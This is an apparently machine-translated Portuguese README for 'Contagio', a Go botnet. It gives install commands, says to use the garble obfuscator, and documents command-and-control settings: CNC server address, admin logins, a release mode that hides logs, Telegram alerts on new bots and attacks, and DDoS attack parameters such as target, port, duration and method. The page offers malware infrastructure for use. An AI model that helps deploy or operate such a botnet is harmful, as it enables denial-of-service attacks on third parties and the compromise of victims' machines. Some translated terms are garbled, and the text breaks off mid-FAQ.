Versão fechada em C++: https://github.com/TryZeroOne/Contagio-closed
Contagio é um botnet escrito em go. Esta é uma versão beta, então pode haver bugs. Leia as perguntas frequentes e a documentação antes de criar um problema. Não acredite na propaganda ucraniana
Instalação
Sistemas suportados
Documentação
Perguntas frequentes
Doações
Os | Status |
---|---|
Linux | |
Windows | |
macOS |
Distribuições Linux
Distribuição | Status |
---|---|
Arco | |
Manjaro | |
Fedora | |
Centos | |
Ubuntu |
as informações do sistema podem ser encontradas nas fotos na pasta de ativos
Contagio possui seu próprio instalador.
wget https://raw.githubusercontent.com/TryZeroOne/Contagio/main/installer/installer.sh -O installer.sh
bash installer.sh -[args]
Example: bash installer.sh -default
Argumentos:
limpar | instala o contagio sem configurações e temas pré-instalados. |
padrão | instala o contagio com configurações e temas pré-instalados. |
source ~/.bashrc
go install mvdan.cc/garble@latest
cd Contagio
go mod init contagio
go mod tidy
em seguida, siga as etapas de setup.txt
Guia de configuração em breve...
Nome | Tipo | Descrição |
---|---|---|
ImportTheme | Corda | Importa um tema. Leia mais sobre personalização aqui. |
CncServer | Corda | IP:PORTA. Você deve especificar um IP público. Para obter um IP público, digite curl http://ip-api.com/json/?fields=query |
RootLogin | Corda | Login que tem acesso aos comandos administrativos (addip, adduser, etc). |
RELEASE_MODE | Bool | Oculta logs (novo bot conectado, lixo enviado, etc). |
TelegramBotToken | Corda | Token de bot do telegrama. |
TelegramChatId | Corda | Seu ID de telegrama/ID de bate-papo. Obtenha a identificação. |
SaveLogsInFile | Bool | Salvar os logs em um arquivo? |
SendLogsInTelegram | Bool | Enviar logs via bot do Telegram para um canal ou mensagens privadas? |
PrintLogsInTerminal | Bool | Imprimir logs no terminal? |
NewClientConnectedLog | Bool | Habilite o registro para uma nova conexão com o cnc. |
NewClientConnectedFileName | Corda | Nome do arquivo para logs de novas conexões. |
NewAttackStartedFileName | Corda | Nome do arquivo para logs de novos ataques. |
AllowAllIps | Bool | Permitir todos os endereços IP? Se AllowAllIps=false, então apenas endereços IP adicionados através do comando addip poderão se conectar ao cnc. |
Módulos personalizados só podem ser usados no Título. Seu resultado do echo será exibido no título. Os módulos personalizados consistem em:
[Modules.ModuleName]
Exec = "command to execute"
ExecEnv = "env"
ExecDir = "directory where the command is executed"
Somente Exec precisa ser especificado. Se não se especifica ExecDir, se executará desde o diretório onde se inicia o CNC.
Você pode usar um tema vazio ou um tema existente. Você também pode usar cores.
Nome | Tipo | Variáveis | Descrição |
---|---|---|---|
[Registros] | |||
NewClientConnectedTerminal | Corda | {ip} {login} {port} {date} | O formato de log no terminal para uma nova conexão. |
NewClientConnectedTelegram | Corda | {ip} {login} {port} {date} | O formato de log no Telegram para uma nova conexão (você pode usar markdown). |
NewClientConnectedFile | Corda | {ip} {login} {port} {date} | O formato de log em um arquivo para uma nova conexão. |
NewAttackStartedTerminal | Corda | {ip} {login} {port} {date} {target} {target_port} {duration} {method} | O formato de log no terminal para um novo ataque. |
NewAttackStartedTelegram | Corda | {ip} {login} {port} {date} {target} {target_port} {duration} {method} | O formato de log no Telegram para um novo ataque. |
NewAttackStartedFile | Corda | {ip} {login} {port} {date} {target} {target_port} {duration} {method} | O formato de log em um arquivo para um novo ataque. |
[CNC] | |||
CmdPrompt | Corda | {login} | Prompt de comando CNC. |
Banner | String (matriz) | Null | Bandeira. |
HelpCommand | Corda | {command} {description} | Formato de saída do comando de ajuda. |
MethodsCommand | Corda | {name} {description} | Formato de saída do comando de métodos. |
CustomMethodsEnabled | Bool | Null | Habilitar métodos personalizados? |
CustomMethods | String (matriz) | Null | Métodos personalizados (habilitados quando CustomMethodsEnabled=true ). |
CustomHelpEnabled | Bool | Null | Ativar ajuda personalizada? |
CustomHelp | String (matriz) | Null | Ajuda personalizada (habilitada quando CustomHelpEnabled=true ). |
BotCount | Corda | {total} {bots} | Formato de saída do comando de bots. |
NoBotsConnectedError | Corda | Null | Mensagem de erro ao executar o comando "bots", mas nenhum bot está disponível. |
CommandSent | Corda | {bots} {id} | Saída quando o ataque é enviado com sucesso. |
UnknownCommandError | Corda | Null | Mensagem de erro quando o comando é desconhecido. |
InvalidCommandSyntaxError | Corda | {syntax} {example} | Mensagem de erro quando o comando (método ddos) possui sintaxe incorreta. |
NoActiveAttacksError | Corda | Null | Mensagem de erro quando não há ataques ativos (comando em execução). |
AttackIdNotFoundError | Corda | Null | Mensagem de erro quando o ID do ataque não é encontrado (comando kill). |
CommandExecuted | Corda | Null | Resultado quando o comando é executado com sucesso. |
CommandInvalidSyntax | Corda | {syntax} {example} | Mensagem de erro quando o comando tem sintaxe incorreta. |
Title | Corda | {login} {cpu} {memory} {animation} {bots} | Título CNC. |
[Autorização] | |||
LoginPrompt | Corda | Null | Solicitação de login. |
PasswordPrompt | Corda | Null | Solicitação de senha. |
AuthError | Corda | Null | Mensagem de erro quando a senha ou login está incorreto. |
CaptchaPrompt | Corda | {code} | Solicitação de Captcha. |
CaptchaError | Corda | Null | Mensagem de erro quando o captcha é inserido incorretamente. |
IpIsNotAllowedError | Corda | Null | Mensagem de erro quando o IP não é permitido. |
No Contagio, existem cores integradas disponíveis e você também pode criar as suas próprias.
As cores devem ser escritas entre chaves. Por exemplo,
CncPrompt = "{red}Hello{white} World: "
Para criar sua própria cor, você precisa usar cores ANSI. Por exemplo:
{custom(fg=ansi_code bg=ansi_code fgstyle=ansi_code)}
R: Tente adicionar r no final da linha. Por exemplo
PasswordPrompt = "Enter password: r"
Se isso não funcionar, crie um problema
R: Envie /newbot para o bot @BotFather, responda suas perguntas e copie o token (exemplo de token: 1234545:DDDDD__ASDADAHUQHHHI34I29I).
UM: